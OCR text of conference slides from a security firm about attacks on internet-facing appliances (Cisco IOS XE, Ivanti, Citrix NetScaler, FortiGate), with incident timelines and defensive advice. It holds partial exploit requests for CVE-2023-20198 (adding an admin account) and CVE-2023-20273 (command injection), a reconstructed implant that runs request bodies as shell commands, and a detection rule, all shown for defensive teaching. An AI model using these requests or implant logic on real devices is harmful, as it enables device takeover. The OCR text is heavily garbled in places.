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What is ‘edge infrastructure’? B(e SDES

o>

FRANKFURT

Marketing buzzword? Yeah, maybe...

We are referring to internet exposed appliances, that are of interest
to cyber threat actors.

For the purposes of this presentation, the following
infrastructure is specifically addressed:

=1
Network-Perimeter (Router, Firewalls etc.) [T AV

.4
Virtual Desktop Environments n

Asset Management
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Common Entry Vectors and Defenses

‘ Mail Filtering
~» Web Proxies
Attack Surface Reduction (ASR)

Patch Management
Vulnerability Scanning
Secure Configurations

Multi-Factor-Authentication (MFA)
Password Hygiene
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Edge devices, the perfect target isgim

S
, |
- Attacker’s perspective FRANKFURT
« Compromise of edge. infrastructure allows easy, yet difficult Ivanti Connect Secure (VPN):
to detect access to internal resources for threat actors o ————
: E;?grs;sg{goé:lfés%%?%?r 2(0117) 64, April 2001)
e OS and software of edge devices are often very outdated - M0 o Slaiase s Wi 0k i ks s ST

 Most edge devices lack basic exploit mitigations and
monitoring mechanisms

https://thehackernews.com/2024/02/ivanti-pulse-secure-
found-using-11-year.html

« Appliances are extremely volatile, forensic investigations can
be very challenging and time-consuming.
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Edge devices, the imperfect target —,i i%@

- Defender’s perspective FRANKFURT

« Usually no direct filesystem access

« Some vendors encrypt data at rest,

OS resides in memory _> : t"
Please run the Integrity Check |Van I
* Most vendors do not allow OS shell e——

access > Challenge-Response-Shells OK (trust me)
—
« Dumping memory is therefore pretty I'm not compromised (trust
difficult, some vendors use proprietary, me, | checked the hashes)

encrypted formats

-
(W N

+ “Trust-me-Bro* Integrity Checking Tools % We have seen evidence of threat actors attempting to

manipulate lvanti’s internal integrity checker (ICT).

https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-
Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-
Secure-and-lvanti-Policy-Secure-Gateways
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Backstory

BLEEPINGCOMPUTER

Home > News > Security > Cisco warns of new 10S XE zero-day actively exploited in attacks

Cisco warns of new I0S XE zero-day actively
exploited in attacks

By Sergiu Gatlan

October 16, 2023 11:43 AM 1

CISCO.

Cisco warned admins today of a new maximum severity authentication bypass
zero-day in its IOS XE software that lets unauthenticated attackers gain full
administrator privileges and take complete control of affected routers and
switches remotely.
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Cisco I10S XE

Scope / Attack surface

Multiple active Cisco product lines run on I0S XE - Enormous attack surface

Precondition: Management Interface had to be internet-exposed

Exploitation was initially limited to specific targets; the TA later opted to start
internet-wide exploitation to “muddy the waters”
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Cisco I0S XE

Log and Traffic Analysis FRANKFURT

N ip.addr==138.122.193.157 && http

No. Time Source Destination Protocol | Length Info
40778 680570.482977 138.122. - 152.89.104. HTTP 348 POST /webui/index.html HTTP/1.1
40780 680570.648969 - - - .89. - HTTP 597 GET /webui/rest/getDeviceCapability HTTP/1.1
40783 680571.265978 - - : .89. - HTTP/J... 218 POST /webui/rest/softwareMgmt/installAdd HTTP/1.1 , JavaScript Object Notation (application/json)
40785 680573.378978 - - - .89. - HTTP 637 GET /webui/f@99.css HTTP/1.1
40792 680573.494970 138.122.193.157 152.89.104.213 HTTP/J... 384 POST /webui/rest/softwareMgmt/installAdd HTTP/1.1 , JavaScript Object Notation (application/json)
40793 680573.611968 138.122.193.157 152.89.104.213 HTTP/J.. 921 POST /webui/rest/softwareMgmt/installAdd HTTP/1.1 , JavaScript Object Notation (application/json)
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Cisco 10S XE B{2:5ES

%

Log and Traffic Analysis F RANKFURT

2 0 0 0 O 9 O |\

alert http N N | (msg:"ET EXPLOIT Possible Cisco
I0S XE Web Server Implant 404 Response (CVE-2023-20198) (Outbound) M2";
flow:established, to_client; http.response_body; content:"|3c|head|3e 3c|title|
3e|404 |20 |Not |20 |Found|3c 2f|title|3e 3c 2f|head|3e|"; content:"|3c|center|3e
3c|hl|3e|404 |20 |Not |20 |Found|3c 2f|h1l|3e 3c 2f|center|3e|"; content:"|3c|hr|3e
3c|center|3e|openresty|3c 2f|center|3e|"; fast_pattern; flowbits:isset,ET.
CVE-2023-20198.Inbound; reference:url,github.com/fox-it/
cisco-ios-xe-implant-detection; reference:cve,2023-20198; reference:url,twitter.
com/SI_FalconTeam/status/1716497899821941230; classtype:attempted-recon;
5id:2048741; rev:1; metadata:attack_target Networking_Equipment, created_at
2023_10_23, cve CVE_2023_20198, deployment Perimeter, deployment SSLDecrypt,
former_category EXPLOIT, performance_impact Significant, confidence Medium,
signature_severity Major, updated_at 2023_10_23, reviewed_at 2023_10_23;)
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N ip.addr==138.122.193.157 && http

No. Time Source Destination Protocol Length  Info alert http NAL_! -> P | (msg:"ET EXPLOIT Possible Cisco
40778 680570.482977 138.122.193.157 152.89.104. HTTP 348 POST /webuf IOS XE Web Server Implant 404 Response (CVE-2023-20198) (Inbound) M2";
40780 680570.648969 138.122.193.157 152.89.104. HTTP 597 GET /webui flow:established, to_client; http.response_body; content:"|3c|head|3e 3c|title|
40783 680571.265978 138.122.193.157 152.89.104. HTTP/J.. PAER-Y VOGN 3e | 404 |20 |Not |20 |Found |3c 2f|title|3e 3c 2f|head|3e|"; content:"|3c|center|3e
40785 680573.378978 138.122.193.157 152.89.104. HTTP YIS 3c|hl|3e|404 |20 |Not |20 |Found|3c 2f|h1l|3e 3c 2f|center|3e|"; content:"|3c|hr|3e
40792 680573.494970 138.122.193.157 152.89.104. HTTP/J... 384 POST /webu 3c|center|3e|openresty|3c 2f|center|3e|"; fast_pattern; flowbits:isset,ET.
40793 680573.611968 138.122.193.157 152.89.104. HTTP/J.. CPENI YL CVE-2023-20198.0utbound; reference:url,github.com/fox-it/
cisco-ios-xe-implant-detection; reference:cve,2023-20198; reference:url,twitter.
com/SI_FalconTeam/status/1716497899821941230; classtype:attempted-recon;
51d:2048742; rev:1; metadata:attack_target Networking_Equipment, created_at
SECU":&B INFR A 2023_10_23, cve CVE_2023_20198, deployment Perimeter, deployment SSLDecrypt,
@ former_category EXPLOIT, performance_impact Significant, confidence Medium,

signature_severity Major, updated_at 2023_10_23, reviewed_at 2023_10_23;)




Cisco I10S XE

Authentication Bypass (CVE-2023-20198)

e R

App Hosting Env
[ 105 sub-systern ] x€C wireshark
l I0S sub-system I
l 10S sub-system I LxC iperf

Drivers, File System, Database

https://www.horizon3.ai/cisco-ios-xe-

Data Plane (Hardware and ASICs)

I0S-XE Architecture

—— e —————— ——— — —— ——— ————— — ———— — — —

cve-2023-20198-deep-dive-and-poc/
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1 POST /%2577ebui_wsma_http HTTP/1.1 |

3
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27
28
29
30
31

32
33
34
35
36
37

L.
User-Agent: Mozilla/S5.0 (Windows NT 10.0; Win64; x64)
ApplewebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90
Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 878

<?xml version="1.0" encoding="UTF-8"?>
<SO0AP:Envelope xmlns:SOAP="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-1nstance">
<SOAP:Header>
<wsse:Security xmlns:wsse="
http://schemas.xmlsoap.org/ws/2002/04/secext">
<wsse:UsernameToken SOAP:mustUnderstand="false">
<wsse:Username>
asdf

</wsse:Username>

<wsse:Password>
— h

</wsse:Passwords>
</wsse:UsernameToken>
</wsse:Securitys>
</S0AP:Header>
<SOAP:Body>

<request xmlns="urn:cisco:wsma-config" correlator="execl">

<configApply details="all">
<config-data>
<cli-config-data-block>
username baduser privilege 15 secret badpassword

</cli-config-data-block=>
</config-data> \
</configApply>
</request>
</SOAP:Body>

</SOAP:Envelope>
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Cisco 10S XE B{2:5ES
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Command Injection (CVE-2023-20273) |= RA N |( FURT

POST /webui/rest/softwareMgmt/installAdd|HTTP/1.1

Host: 10.0.0.1 I’ - 4
Content-Length: 42 ' —— fiy Ly

|

V16 Cookie: Auth=<cookie from valid auth> : [IOS sub-system ] EXC wireshark

—Csrf-Token: <token from /webui/rest/getDeviceCapability> | IIOS sub-system l

| o

| ’ IOS sub-system ] LxC iperf
{"installMethod":"tftp" /" ipaddress":"1000:1000:1000: $(echo hello world :

ﬁ Drivers, File System, Database

POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
Host: 10.0.0.1

Content-Length: 42 \
Cookie: Auth=<cookie from valid auth>

—-Csrf-Token: <token from /webui/rest/getDeviceCapability>

|

| |

!

: Data Plane (Hardware and ASICs)
|

!

IOS-XE Architecture

———— ——— ——————— ———————— —————————— —— —

V17

{"mode"j:"tftp","ipaddress":"1000:1000:1000: $(echo hello world > /var/

https://blog.leakix.net/2023/10/cisco-root-privesc/
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Cisco I0S XE

Implant
Sl Falcon Team: BOULDERDROP | Talos: BadCandy

#
# Copyright (c) 2014-2019 by Cisco Systems

/binos/co

firm.html {
ext/htn
'no-cache, no-store, must-revalidate'

I_header St ansport-Security "max-age=31536000; includeSubdomains"
content_by_ lua
local auth
local cont
local
local he
local p:
if (me

get_method()
get_headers()
get_uri_args()

od == "POST“ and params ~= nil) then

headers["Authorization"] ~= nil ) then
thcode = string.gsub(headers["Authorization"], "/~%sx(.-)%sx$", "%1")
de ~= nil and string.match(authcode, "~%w+$") ~= nil) then
local f = io.popen("echo ".. | shalsum ", "rL@)
if (f ~= nil) then
local shasum = f:read("*all")
shasum = string. lower(shasum)
if string.find(sh

} "
authcode. .

authorized = true
end
f:close()
end
end

end

SECUINFRZ

1sum, "'c6a9d64fa3ellcf9781f55cb65d958b1a749fdb5") then

if (

end

local

if

elseif (

elseif (

and

end

if

els

end

i o {on U
SSIDES

FRANKFURT

== true) then
read_body/()
= get_body_datal()
["menu"] ~= nil and
= "/0211202301/"
["logon_hash"] ~= nil and
= "e4d80dfc8e49d3eb4c"
["logon_hash"] ~= nil and
["common_type"] ~= nil) then
( ["common_type"] == "subsystem") then
local f = io.popen( "r'')
if(f ~= nil) then
= f:read("xall")
f:close()

["menu"] ~= "") then
["logon_hash"] == "1") then

["logon_hash"] == "72e72cb046a3053b45a5eb854092b1la7c20c9731"

end
eif ( ["common_type"] == "iox") then
set_header("Priv-Level", "15")
local = capture("/lua5", {
local
if not ( == nil or # = 0) then

end

== true) then

capture("/internalWebui/login.html", {




Implant FRANKFURT

if (authorized == true) then

Sl Falcon Team: BOULDERDROP | Talos: BadCandy ngx. req. read_body ()

local body = ngx get_body_data()
if (params["menu"] ~= nil and params["menu"] ~= "") then /
content = "/0211202301/"
elseif (params["logon_hash"] ~= nil and params["logon_hash"] 1") then
content = "e4d80dfc8e49d3eb4c"
elseif (params["logon_has ~= nil and params["logon_hash"] == "72e72cb046a3053b45a5eb854092b1a7c20c9731"
and params ["common_type"] ~= nil) then
if (params["common_type"] == "subsystem") then
local f = io.popen(body, "r")
if(f ~= nil) then
content = f:read("*all")
f:close()

end
elseif (params["common_type"] == "iox") then /

ngx set_header("Priv-Level", "15")
local result = ngx capture("/lua5", {method=ngx body=body})
local response result
if not (response == nil or #response == @) then
content = response
end

(authorized == true) then

ngx = 200
ngx.say(content)

local result = ngx capture("/internalWebui/login.html", {method = ngx
if result then
ngx = result
if result then
ngx.say(result
end
end

SECUZINFRA
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Attribution & Recent Intrusions

As it turns out... cyBER +!|-Recorded Future® The HaCker News

THREAT
ANALYSIS By Insikt Group®

S T February 13, 2025

@ Home ¥ Newsletter ™ Webinars

Coyote overlaps partially
with activity attributed to Salt
Typhoon

China-linked Salt Typhoon Exploits Critical Cisco Vulnerability
to Target Canadian Telecom

9 Jun 24,2025 & Ravie Lakshmanan

The Canadian Centre for Cyber Security and the U.S. Federal Bureau of
Investigation (FBI) have issued an advisory warning of cyber attacks mounted
by the China-linked Salt Typhoon actors to breach major global
telecommunications providers as part of a cyber espionage campaign.

The attackers exploited a critical Cisco I0S XE software (CVE-2023-20198,

CVSS score: 10.0) to access configuration files from three network devices

Wile E. Coyote

registered to a Canadian telecommunications company in mid-February 2025.

GENIUS
aka Salt Typhoon ? . C . The threat actors are also said to have modified at least one of the files to
VE BRAIN WILL TRAVEL RedMlke (Salit Typhoo.n) EXpIOltS configure a Generic Routing Encapsulation (GRE) tunnel, enabling traffic
"""" T VUInera ble Clsco DeVIces Of GIObaI collection from the network. The name of the targeted company was not
: Telecommunications Providers disclosed.

https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html

SECUZINFRA 1

yber Defense. Made in Germany


https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://go.recordedfuture.com/hubfs/reports/cta-cn-2025-0213.pdf
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html
https://thehackernews.com/2025/06/china-linked-salt-typhoon-exploits.html

Attribution & Recent Intrusions o)

As it turns out...

Coyote overlaps partially
with activity attributed to Salt
Typhoon

Wile E. Coyote
GENIUS

aka Salt Typhoon ?
VE BRAIN WILL TRAVEL

B .
SIOES
Joint Cybersecurity Advisory FRANKFURT

TLP:CLEAR

. AUSTRALIAN
Sienats
e W R

A o8 ACSC i
Ty cn““’(\
.
1+l Pl Congoion Seouy  Servco canadien oy ) National Cyber |t ey
Ganadian Gontro Gontro canadien Inteligence Service  renseignement de sécuritd Security Contre | (Y g Conmnicion
for Gyber Securty Pour'a cybersécurits |

Bundesamt fiir

. NUKIB
5 |Sccorty Cartre SUPO &)BND %

undesam! w o
| al EROCHEE @) 5T
W

National Cybersecurity Office
A" 4 - . d National Police Agency

Countering Chinese State-Sponsored Actors
Compromise of Networks Worldwide to Feed Global
Espionage System

% AGENCJA
. WYWIADU

CentroNacional de Inteligencia

Centro Criptolgico Nacional

o

Executive summary

People’s Republic of China (PRC) state-sponsored cyber threat actors are targeting
networks globally, including, but not limited to, telecommunications, government,
transportation, lodging, and military infrastructure networks. While these actors focus on
large backbone routers of major telecommunications providers, as well as provider edge
(PE) and customer edge (CE) routers, they also leverage compromised devices and
trusted connections to pivot into other networks. These actors often modify routers to
maintain persistent, long-term access to networks.

This activity partially overlaps with cyber threat actor reporting by the cybersecurity
industry—commonly referred to as Salt Typhoon, OPERATOR PANDA, RedMike,
UNC5807, and GhostEmperor, among others. The authoring agencies are not adopting
a particular commercial naming convention and hereafter refer to those responsible for

This report is marked TLP:CLEAR. Recipients may share this information without restriction. Information is subject to standard copyright rules.

U/00/198904-25 | PP-25-3703 | August 2025 Ver. 1.0 LP:CLEAR

https:/media.defense.gov/2025/Aug/22/2003786665/-1/-1/0/CSA_COUNTERING_CHINA_STATE_ACTORS_COMPROMISE_OF_NETWORKS.PDF
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Scope / Attack surface FRANKFURT

EPMM = Endpoint Management Mobile (formerly Mobilelron) _ 7
RHEL Base OS p.favic ash:1983356 product:"lva p Vianager Mob

EPMM manages mobile device configs, e.g. Android, iOS phones
and integrates with e.g. Microsoft 365 online services

I 156.51.155.70

# Sweden, Stockholm

© 2025 The Shadowserver Foundation
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Ivanti EPMM

Timeline

https-request_log: .38.68. ECDHE-RSA-AES256-GCM-SHA384

Advisory First exploitation attempts
published by logged on customer
Ivanti appliance

THREE

WEEKS LATER

15.05.2025 ~2PM UTC 05.06.2025

(@)
&/
13.05.2025 15.05.2025
~3PM UTC
Exploit PoC is ~Whoops, we forgot
published to patch...”

< property="article:published_time" content="2025-05-15T14:51:12.000Z">

https://labs.watchtowr.com/expression-

payloads-meet-mayhem-cve-2025-4427-and-
cve-2025-4428/

—-i mﬂhmm
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Investigating compromised appliances F RA N K FURT

OS-level service shell sessions via the console are restricted to 30
minutes each

ECDHE-RSA-AES256-GCM-SHA384

Boot-Disk is not encrypted - Offline investigation is possible

Logs can be collected with the Unix Artifact Collector (UAC)

./2@2505/useraction—2@25—®5—30— :{"connectedCloudName":"","logType" : "userAc-
tion","version":1,"loggedAt" :17486 ,"actionAt" :17486 ,[..],"action-
. . Typ@ "ADMIN_PORTAL_SIGN_IN","requestedAt":17486 ,"completedAt":17486
Pr|mary artlfaCtSZ "reason":"Successfully Slgned In","status":"Success,[..],"subjectType":"Admi
P0ort ”‘”subjectName”:”\ min Portal - 80. ","subjectOwner-
me":null,"requesterName": "miadmin", "updateRequestId":null, "userIn-
. . ", " ", " 1 ". 1
« /var/log/httpd and /var/log/tomcat -> exploitation Le":null, "parentld”:null, "cookie":null}

attempts

« /mi/files/logging/ = user-action logs show EPMM
configuration changes (correlate with httpd/tomcat logs)

Shoutout to the colleagues over at Profero:
https://profero.io/blog/ivanti-epmm-attacks

SECUZINFRA 2 nifuﬂmﬂﬁmmdﬂ
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Recent-ish Intrusions FRANKFURT
r

IMAGE: JACOB THORSON VIA UNSPLASH

Daryna Antoniuk
July 25th, 2023 Hackers exploited Ivanti zero-day to breach

I,
Norway s government

Hackers exploited a zero-day vulnerability in tech giant Ivanti's software to compromise a

dozen Norwegian government agencies.

Norwegian security officials said on Monday that the flaw was found in Ivanti's mobile endpoint

° 0 o . - management software used by the impacted ministries.
DOO

"This vulnerability was unique, and was discovered for the very first time here in Norway," said
Sofie Nystrgm, director of Norway's National Security Agency. “If we had released the
information about the vulnerability too early, it could have contributed to it being misused
elsewhere in Norway and in the rest of the world.”

SECUINFRA 2
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Citrix Netscaler ADC QQ%W

Major vulnerabilities overview FRANKFURT

CVE-2023-4966 CVE-2019-19781

o aka. Shitrix
aka. CitrixBleed .
" Directory Traversal to Remote Code
Leak of sensitive memory Execution

CVE-2025-5777 CVE-2023-3519
aka. CitrixBleed 2 No cool name* :(
Leak of sensitive memory Unauthenticated remote code execution

SEC U ;«j INFRA 25 * ChatGPT suggests ,CitrixShellBreaker* Fijwmmﬂﬂ

Cyber Defense. Made in Ger
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Citrix Netscaler ADC igig
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Major vulnerabilities timelines FRANKFURT

First observed

exploitations by then
unknown Vuln¢? PoC Release®

Security Bulletin released
By Citrixe5 PoC Release’

09.01.2020 11.01.2020

N\
17.12.2019 10.01.2020

10.10.2023 25.10.2023

End of August 2023 23.10.2023

First Exploitation Mass exploitation starts®”

Security Bulletin released Mass exploitation starts®*
observed®

By Citrix°?

J.I.I.I.': T
Sa l L&)

Security Bulletin released
observedc’?

cl14
By Citrix°8 PoC Releasec’0 Poc release

18.07.2023 28.07.2023
I\

23.06.2025 08.07.2023
(@
A4
17.06.2025 06.07.2025

June 2023 21.07.2023

Security Bulletin released Mass Exploitation

First exploitation Mass exploitation startsc!?
by Citrixc'3 startsc15

observed by greynose

SECUINFRA 2
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Citrix Netscaler ADC Qg%w

Major vulnerabilities FRANKFURT

Used as 0-day? Yes
Time from Bulletin to exploitation: 15 days
Time from PoC to mass exploitation: 2 days

Used as 0-day? No
Time from Bulletin to exploitation: 6 days
Time from PoC to mass exploitation: 2 days

SECUZINFRA 2 Wmfm%mm

Cyber Def Made in Ger

Used as 0-day? No
Time from Bulletin to exploitation: 23 days
Time from PoC to mass exploitation: 1 days

Used as 0-day? Yes
Time from Bulletin to exploitation: 12 days
Time from PoC to mass exploitation: 7 days




Citrix Netscaler ADC B2.ore

Attack Surface FRANKFURT

- j/VK\\\\MJ\
o * I/

® cve-2025-5777 ® cve-2023-4966 *® cve-2023-3519
\ i © 2025 The Shadowserver Foundation
RCE without name (CVE-2023-3519)

- Reference: c16
CitrixBleed 2 CitrixBleed

SECUZINFRA 2 im%ﬂmmHM1
Cyber Defense. Made in Germany




Intrusion Analysis ISIDES
Side by Side comparision FRANKFURT

CVE-2019-19781/CVE-2023-3519 CVE-2023-4966/CVE-2025-5777

Remote Code Execution Sensitive Memory Read

Deploy Webshells First Steps Take over existing Sessions

Malware, Crypto Mining

o :
Dumping NSPPE Core Memory Post Exploitation Move laterally into AD

o : : Point of Active Sessions
Citrix Appliance itselt Investigation AD Connected Maschines

Checking Suspicious login patterns
Dump NSPPE Memory

Disk Analysis Investigation

N
©

SECU#/INFRA
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Intrusion Analysis ig%%

Side by Side comparision FRANKFURT

CVE-2019-19781/CVE-2023-3519

Investigation

CVE-2023-4966/CVE-2025-5777

De|: The challenge of investigating a vulnerable appliance for the exploitation CVE-2023-4966 is that the )SSioNs
webserver running on the appliance does not record requests (or errors) to the vulnerable endpoint.
Mandiant is not aware of any configuration change that can be made to force request logging for these
Ma_lwa endpoints. To identify attempted exploitation requests, organizations will need to rely on web AD
Dumping application firewalls (WAF) or other network appliances that record HTTP/S requests directed toward
the NetScaler ADC or Gateway appliances.

~

Citrix Note:Dueto the limited forensic evidence left by the exploitation of this vulnerability, identifying B _
historic exploitation is challenging. Patterns of suspicious activity related to session hijacking might chines
differ from organization to organization, and the techniques outlined as follows might not be applicable
C o feasible in all scenarios. in patterns

D Y Uump NPEE Memory

SECUZ/INFRA y Wmmﬁ%ﬂm
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Investigating compromised appliances FRANKFURT

- "hardened" / customized FreeBSD Kernel
- You can't really run stuff on it
- Directly executing collection tools on the appliance is not feasible
- Syslog Forwarding often not enabled

- We can remotely mount the filesystem via sshfs
- Once that is done, we can use UAC to collect logs and artifacts
- For quick wins we can use scanners like THOR (with custom |0C)

:~/thorl@-linux# mkdir -p /mnt/nets

:~/thorl@-linux# sshfs -o reconnect nsroot(?10.0.10.16:/ /mnt/nets
The authenticity of host '10.0.10.16 (10.0.10.16)' can't be established.
RSA key fingerprint is SHA256:mmm | EIEEE BN B | '
Are you sure you want to continue connecting (yes/no)? yes

t~/thorl@-linux# 1ls /mnt/netsim

:~/thor1e-linux# B

SECUFINFRA 3 ﬂfmuﬁmmﬂ
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5-;?

What happens if you don‘t patch in timg F RA N KF URT

LinkTypes.php

(404) ;
['banned'] (% ['sErings'):

SECUZINFRA 32 %MMﬂ




Welcome the newest member of

the family

SECUZ/INFRA

[\

MY NAME IS...

<=5 ALL ABOUT ME % |

(

CVE-2025-7775 aka. CitrixDeelb

MY AGE

MY BIRTHDAY

[ 3 Days J 26.08.2025

)gf

MY PET MY FAVORITE COLOR
u(f N ™
Bitcoin Yellow
\ _J
RATs MY FAVORITE FOOD
4 )
SOC Tears

\ O\ _J

| REALLY LIKE...
( Running unauthenticated Code )
\ o

N

33
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United Kingdom Netherlands Switzerland Australia
1.4K 1.3K 1.3K 878

United States
1 O-1 K Ireland Belgium

Canada 8 9
820

Hong Kong | Singapore Taiwan Finland Russia
30 190 !

NETE
384

South Korea United Arab E...

Austria
575
q Brazil
Spain 1

Germany

Czechia

Sweden South Africa
560 Denmark
4 Luxembourg

Reference: c18

© 2025 The Shadowserver Foundation
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e Edge

Living on th
Evicting threat actors from perimeter appliances

29.08.2025




Fortinet FortiGate i “*”””mmﬂ

"i

dpe>

Scope / Attack surface FRAN KFU RT
R e

© 2025 The Shadowserver Foundation

We are targeting CVE-2024-55591 and CVE-2025-24472 Reference: d1
Targets the (often) internet exposed web-based management interface

Allows a Threat Actor to gain SSL-VPN Connections

SECUZINFRA 30 JANM




Fortinet FortiGate

(v

{ﬁmﬂhmﬂ

ISIDES

~ 2 months
A
|
First VuIn-sgans , Fortigate published Mass Exploitation
Jetected by ArticWolf¢ advisory and observed by ForeScout®
patchd3
04.12.2024 U
(@) 7\
\ 9@ \ @
16.11.2024 14.01.2024 31.01.2025
First Exploitationsd? PoC released by watchtowrd
\
[
~ 13 days
37
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Fortinet Firewalls

Qilin Ransomware Intrusion

“

Our analysis was based on the logs that were stored on the
FortiGate appliance itself
- the attackers encrypted the FortiAnalyzer, destroying older logs

SSL-VPN access was established via unused administrator accounts
A new VPN Tunnel and policy modifications were implemented to

access critical internal systems

We were able to correlate SSL-VPN access times with attacker activity
- Simultaneous Hands-on-Keyboard activity of two attackers working

together

SECU@INFRA ; tatn/ (ULl

Pexels/Olia
Danilevich
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Fortinet Firewalls ISIDES

Qilin Ransomware Intrusion - Timeline F RANKFURT

Sat  Mar 2025 10:00pm Sun  Mar 2025 12:00am Sun  Mar 2025 2:00am Sun  Mar 2025 4:00am Sun  Mar
10:00pm 11:00pm 12:00am 1:00am 2:00am 3:00am 4:00am 5:00am 6:00am
VPN: Login user " ""Tunnel IP:
.4, Remote IP: 146.
10: pm Sat -5 am Sun
2025
(S VPN: Login user " " "Tunnel IP:
3
11: pm Sat -12: am Sun
2025
WMI: Execution, User: " "
Sun 2025 12: am
(D
VPN: Login user " ""Tunnel IP:
.2, Remote IP: 146. , User:
12: am-6: am Sun 2025

© AD:Logonon  VEEAM ,User:"
Hostname: DESKTOP-M95PVRN

Sun 202512: am
ESXi: SSH Login, User: "root","Host: A
Tunnel IP: 4
Sun 202512: am

ESXi: Ransomware Execution on

Sun 2025 1: am
ESXi: Ransomware Execution on
Sun 2025 1: am
@ RDP:" "on , Tunnel IP:
Sun 2%25 2: am

SECUINFRA 39
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Fortinet Firewalls

Bonus: Malware targeting these devices

Cybersecurity UNCLASSIFIED
Advisory ey TLP:CLEAR

A=

a |National Cyber
.'% Security Centre

a part of GCHQ

9 February 2024

Ministry of Defence of the Netherlands uncovers
COATHANGER, a stealthy Chinese FortiGate RAT

This advisory is a joint publication of the MIVD and AIVD, the intelligence and
security services of the Netherlands. An accompanying press release was
published on the website of the Ministry of Defence of the Netherlands.

Malware Analysis Report

limited because the victim network was segmented from

Overview

The Ministry of Defence (MOD) of the Netherlands
was impacted in 2023 by an intrusion into one of its
networks. The effects were limited because of prior
network segmentation.

Incident response uncovered previously unpublished
malware, a remote access trojan (RAT) designed
specifically for Fortigate appliances. It is used as
second-stage malware, and does not exploit a new
vulnerability. Intelligence services MIVD & AIVD refer
to the malware as COATHANGER based on a string
present in the code.

The COATHANGER malware is stealthy and
persistent. It hides itself by hooking system calls that

the wider MOD networks.

The victim network had fewer than 50 users. Its purpose
was research and development (R&D) of unclassified
projects and collaboration with two third-party research
institutes. These organizations have been notified of the
incident.

2.1 Attribution

MIVD & AIVD assess with high confidence that the
intrusion at the MOD, as well as the development of the
malware described in this report, was conducted by a
state-sponsored actor from the People’s Republic of
China.

Malware targeting Fortinet devices

UMBRELLA STAND

https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-
reports/umbrella-stand/ncsc-mar-umbrella stand.pdf

https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/
mivd-aivd-advisory-coathanger-tlp-clear/TLP-
CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf

SECUINFRA 40
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Bonus: Third time is the charm? FRANKFURT

< ;:- Dark Web Informer #%

X Alleged Sale of Fortinet 0-Day RCE Exploit

« Industry: N/A

« Threat Actor: WISDOM

« Network: Clearnet, Dark Web
« Price: 0.5 BTC

« Details: A threat actor claims to be selling a 0-day remote code
execution (RCE) exploit affecting FortiOS VPN versions 7.4 to 7.6. The
listing includes a proof of concept (PoC) available to serious buyers with
deposit or established reputation.

ESCROW AVAILABLE IN THIS THREAD!
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What now* ISIDES
Measures to protect edge infrastructure FRANKFURT

« Don’t expose Management Interfaces, APls etc. to the Interwebz

« Enable Syslog forwarding, retain logs for at least 14 days
« Consider deploying a proxy, web application firewall

» Install software updates immediately!!!1

« Assume breach: Installing updates after the fact doesn’t magically fix it

Solid recommendations by the Dutch NCSC:

https://english.ncsc.nl/binaries/ncsc-
en/documenten/factsheets/2024/june/10/factsheet-managing-edge-
devices/NCSC+Factsheet+Managing+Edge+Devices.pdf
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Useful links
For those playing along @ home F RANKFU RT

Stay up-to-date:
Watchtowr Labs htips://labs.watchtowr.com/

CISA KEV (Known Exploited Vulns) hitps://www.cisa.gov/known-exploited-
vulnerabilities-catalog

Tools:

UAC (UNIX Artifact Collector) hitps://github.com/tclahr/uac
THOR Lite https://www.nextron-systems.com/thor-lite/
Fox-IT Dissect hitps://aithub.com/fox-it/dissect
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